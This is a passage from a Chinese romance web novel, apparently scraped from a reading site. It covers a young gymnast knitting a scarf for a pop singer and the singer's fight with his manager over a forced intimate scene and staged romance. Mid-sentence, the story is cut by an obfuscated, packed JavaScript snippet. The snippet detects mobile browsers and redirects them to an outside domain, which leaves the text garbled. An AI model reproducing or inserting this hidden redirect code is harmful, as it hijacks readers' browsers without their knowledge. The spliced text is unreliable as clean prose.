邀请函和堂徵“闪现”带来的惊喜一下子被冲淡,取而代之的是刘欣羽和堂徵带来的离别的伤感。 怎么这些天变得多愁善感了起来? 一定是自己太闲了,得给自己找点事做。 突然想到刘欣羽几年前给自己买的几团毛线,虞落本来是喜欢做些小手工的,但刚出院那几天余绢和虞明港让她好好休息,什么都别做,后来就越躺越懒,早把平时的爱好丢到一边了。 虞落翻箱倒柜找了好久,才找出来那几团线球,本来应该是墨蓝色的,现在也褪成了淡淡的有点舒适的蓝色,虽然叫不上来名字,但虞落莫名觉得这个颜色淡雅又温暖,很适合秋天,可以织条围巾。 许久没管它,毛线球上积了好几层灰,虞落拍了许久,找了个篮子把它们放在阳台上晒几天。 阳台上有个吊椅,虞落也是踏进阳台才想起来,有关吊椅的往事也都涌进脑子。 其实买来只是为了装饰,余绢在网上看到这样的装修图好看,但买回来才发现吊椅很不实用,承重太小了,本来想退货的,但虞落嫌麻烦,劝回来了,“反正你和爸也不坐,够我的重量就可以啦。” 虽然来的次数不多,但房子里的装修和陈设毕竟是余绢拉着三个人一起想了很久的,看到这些东西虞落都能回想起它们背后的故事。那应该算是一家三口为数不多的开心的时候。 虽然好久没人坐过了,但赵阿姨每天都会擦一遍,虞落坐上去,陷进了一片柔软,视线又落回到毛线球上。 这个颜色看着好看,但其实很挑人,皮肤不能太黑,眉眼轮廓也要立体些,脖颈也需要挺拔些,想着想着,虞落已经在脑子里自动勾勒出了堂徵的脸。 这个颜色倒是挺衬他...正好堂徵也喜欢蓝色,可以搭灰色或白色的卫衣,系成当下最流行的样式,配一个同色的毛线帽... 虞落的脑子里瞬间浮现出好几幅堂徵系这条围巾时的样子,连机场图都想到了,织围巾的动力一下子就来了。 想到即开工,人还坐在吊椅里,虞落已经点开浏览器搜索“如何织毛线围巾”,顺便问了刘欣羽一句,“你偶像生日给他织一条围巾如何?” 14. 14 “卡。”吴云皱眉,看了眼时间,今天不知道还能不能按时结束,要是拖到明天又不知道会耽误多少进度。 这场戏是男主被炸伤,女主来闹离婚。 女主本应该演出一种忘恩负义的尖刻嘴脸,但曼曼不知道怎么回事一直端着,表情放不开,总让人觉得是她给别人恩赐,已经数不清重来多少次了。 吴云是去年靠一部盗墓悬疑的电影一炮走红的,这是第二次执导,也是第一次涉足文艺片,在圈内其实还算个新人。 本来对女主的选角,吴云看中了另一位更适合的,但对方临到签约突然片酬要价翻倍,资方趁着这个时候提出用今年因为一部小甜剧大火的曼曼,吴云没办法,不得不同意。 吴云是敬业的,把曼曼那部剧看了一遍,演技一般,但的确是好本子,能火估计一半因为剧本一半因为营销。 没想到真的合作起来,这也放不下身段,那也忍不了脏乱,每天早上还迟到,晚了又抱怨。 本来吴云更不抱希望的是堂徵,毕竟是歌手,首次跨界,之前没有任何影视作品。没想到入戏竟然还挺快,听自己讲戏的时候也很认真,每句都能听得进,是个惊喜。 “曼曼你怎么回事?那段讲了多少遍了,你的面部表情要再大一点,再大一点,你到底懂不懂?”吴云本是好脾气的,但这个情况让人实在忍不了,开骂了。 曼曼作出一副虚心的样子,点点头,“导演对不起啊,我下一遍一定可以的。” 每次都是这样,语气稍微重一点她就开始道歉,搞得自己也不好意思继续骂,吴云叹了口气,只能继续重复那五个字,“再来一遍吧。” “卡。”果然还是一样的结局,吴云也真是拿曼曼没办法了,“你自己说,怎么样才能放得开呢?” 曼曼低着头,以一种做作的声音说道,“对不起啊,导演,我刚刚也没想到阿徵会突然往后退一步,我就被吓了一跳...” 人在剧组坐,锅从天上来啊。 堂徵冷着脸,丝毫不留情面地说,“我每一次的走位都是按着排练时吴导说的来的,自己那么多次都没记住可别怪别人,难怪一直NG呢。”又面向导演说,“吴导,我觉得女主脸上如果粉少一点,会更自然,说不定表情可以做得更大一点。” 堂徵向来“见鬼说鬼话”,不喜欢谁根本不会藏着,但面对好相处的人自然不会故意为难,所以在剧组关系处得不错。 听到他这么直言不讳,周围人都不由“吃吃”笑起来,连曼曼的小助理郑添澄都一时没藏住笑意。 曼曼两条画得十分精致的眉毛此刻拧成了一股绳,又不好直接发作,却又正好瞥见了自家助理也在笑自己,便连同没处撒的那股子气一起把剧本摔倒郑添澄身上,“笑什么?早上跟你说了化什么妆你怎么负责的?没听到人家阿徵老师都提意见了?” 撒气也不忘阴阳怪气自己,堂徵坐在一旁冷笑。 小助理吓得浑身直哆嗦,嗫嚅道,“早上你,你没说呀,妆也,也不是我化的...” “你还狡辩!”曼曼更加生气,但又想在众人面前维持自己的淑女形象,只得一直压着声音,反倒显得更可笑。 吴云只想快点把这场拍完,无奈道,“行了,吵什么,各就各位,再来一遍。” 经过这场闹剧,曼曼演得比之前好多了,吴云姑且让大家先收工,把堂徵单独喊了去。 “阿徵,今天你们老板亲自跟我说了,要给你和曼曼加一场戏。但我看你们俩现在关系好像...”吴云欲言又止,他年龄和堂徵差不多,爱好也挺相仿,平时还挺聊得来。 “没事,我有数,不会影响拍戏。”堂徵点点头,既然是工作,那他肯定是会认真对待的。 吴云了然点点头,“你这么说就好,我还怕你有意见呢。” 堂徵奇怪反问,“我为什么会有意见?” 吴云显得更加奇怪,“赵总没有跟你说吗?要给你和曼曼加一场亲密戏,尺度不大,就拍个裸背在床上的镜头,几分钟就可以。” 堂徵当初同意这部戏的前提就是不要有亲密戏,他出道九年多也一直拒绝和任何女明星传绯闻,赵圆一直都是清楚并且默许了的,这次居然不和自己提前商量就直接和导演说好了? 脸色一下就变得很难看,但堂徵还是把怒气都咽了回去,尽量对吴云礼貌,“我知道了。” 吴云看堂徵的脸色猜到了七七八八,他之前也没预料到堂徵不知道这件事,只好拍了拍他的肩,“你回去好好准备准备,这场放最后,下周拍完就杀青了。” 堂徵从吴云那离开就一直黑着脸,周成涛在车上等他,见气氛不对,问道,“怎么了?” “老妖婆有没有跟你说?要加一场床戏?”车门被堂徵狠狠一摔,发出很大的声响,引得路人纷纷回头。 “她没跟我说啊。”周成涛也很无语,“老妖婆到底怎么想的?有什么毛病?” 堂徵示意周成涛先开车,“我给老妖婆打个电话。” “喂,阿徵,有事吗?”赵圆的声音里掩饰不住洋溢的笑意,不知道又压榨了哪位无知小鲜肉。 “床戏是怎么回事?”堂徵懒得跟她废话,直奔主题。 “哦,你说那个啊。那是为了你好,有亲密戏既能展示你的身材,又能增加看点,观众喜欢的。”赵圆完全没把这件事放在心上。 “签之前不是说好了没有亲密戏的?你现在搞这么一出算怎么回事?”堂徵的声音已经完全掩饰不住怒气了。 “你之前也没说生日的粉丝会要请那个什么体操运动员啊?”赵圆的笑意里藏着无形的刀子,一句话噎得堂徵无言以对。 “除了拍亲密戏没别的方案了?”堂徵只能退一步。 “有啊,粉丝会换嘉宾,我看那个曼曼就挺好。”赵圆似乎很悠闲,语气都没有平时的急躁。 答应过虞落的事情肯定是不能反悔的,堂徵一拳锤在车窗玻璃上,玻璃质量很好,没有收到任何打击,倒是堂徵的骨节破了几处皮,血丝渐渐渗出来。 堂徵半天没说话,赵圆也不急,静静等着他的答复,像是吃准了他一定会答应。 “粉丝会嘉宾不能换。”半晌,堂徵终于开口。 “行啊,那就和曼曼好好配合。”赵圆也不强迫,反正她的最终目的就是捆绑营销。 “配合”二字被咬得很重,堂徵清清楚楚明白了赵圆的想法。 电话挂了,周成涛看了眼后视镜,堂徵脸色更黑了,“怎么说的?” “她想要我和曼曼传绯闻。”堂徵有点头疼,用食指和中指按摩着太阳穴。 老妖婆太贼了,周成涛递过去一个饭盒,“先吃饭吧,吃完回去睡一觉。” 今天开工早,一直拍到两点多,堂徵都还没吃呢,所幸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15069362|163127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下场戏在明天,能多休息会。 虞落手工做得多,手巧,跟着教程学了几天基本就会了. 她本来想织渔网针法,但那个镂空网格太大了,好像不太适合男生,虞落还是决定改成情人扣。 反正只要自己不提这个织法的名字就没人知道。 上手了就会越织越快,一块长长的浅蓝色瀑布很快就出现在毛衣针下,虞落越看越满意。 送手工毛线围巾的想法在刘欣羽一下飞机就得到了十分强烈的支持,还给她下单了一个“据说堂徵看一眼就会沦陷”的精美包装盒。 找到可以做的事情,时间就变得快了起来。 最后一次去医院换药的时候王则月和朱良也跟着去了。 “落落,我们刚刚也跟医生确定了,明天就可以开始复健了。不过别着急,慢慢加量。”王则月总是担心虞落不能多活动,任虞落解释了很多次,已经拆线很多天了,她完全可以自己走路,王则月还是要搀扶着她走路。 虞落默默算了下时间,明天好像是堂徵的生日会,“王妈妈,明天我有点事,后天开始复健吧。” 王则月疑惑道,“什么事?”随即又反应过来,“噢噢,是参加那个阿徵的生日会是吧。” 虞落已经跟两位指导报备过,能宣传体操队自然是好事,不影响训练的适当娱乐他们也不会拦着。 “不过落落,你自己心里要掌握好分寸啊。虽然说宣传体操队是好事,但你毕竟和那个什么,阿徵,传过一些不好的消息。”朱良严肃道,“还有啊,你才18岁,还有东京周期、巴黎周期,现在这个时期谈恋爱会影响训练的,你自己好好掂量掂量。” 朱良家里也没有女儿,也不知道该怎么和虞落开口“谈恋爱”的问题,王则月圆场道,“朱导这都是为了你好,谈恋爱队里确实是没有明确规定,但或多或少肯定都会影响训练。而且你还是个女孩子,也才18岁,朱导怕你受伤害。” 虞落懂事笑道,“我知道的,你们不用担心,再说了,人家大明星也看不上我呀。” 朱良不满地嚷嚷,“怎么看不上了?你还是世界冠军呢,是他配不上你!” 王则月和虞落都被逗笑,三人有说有笑上了计程车。 复健后虞落就要搬回宿舍了,回到家虞落就开始收拾行李。 里约到香港再到北京的登机牌还在,她喜欢收集火车票和飞机票,所以一般都不会扔,之前因为手术就暂时把这事给忘了,现在又翻出来难免不会想到堂徵。 不知道为什么,今天朱良提到“谈恋爱”的时候,自己突然有点心虚。 她自己心里清楚自己不喜欢堂徵,才认识不到一个多月的人怎么会轻易喜欢上呢? 但对堂徵,总是和对别人不一样的,一种说不上来的不一样。 算了,不想了,至少东京前应该不会谈恋爱。 ...应该吧? 带着一个她自己都没想明白的问题,虞落继续收拾行李,以后的事情那就以后再说吧。 明天一早刘叔叔就送她回天坛公寓,爸妈挽留她很久,家里离五棵松也不算太远,刘叔叔也可天天送她,但她还是拒绝了,虽然余绢和虞明港总是费尽心思换着花样对她好,但她还是有些不习惯。 和堂徵约好了,他那边明天中午可以派人来接她,据说还要先走走流程排练什么的,听着还挺麻烦。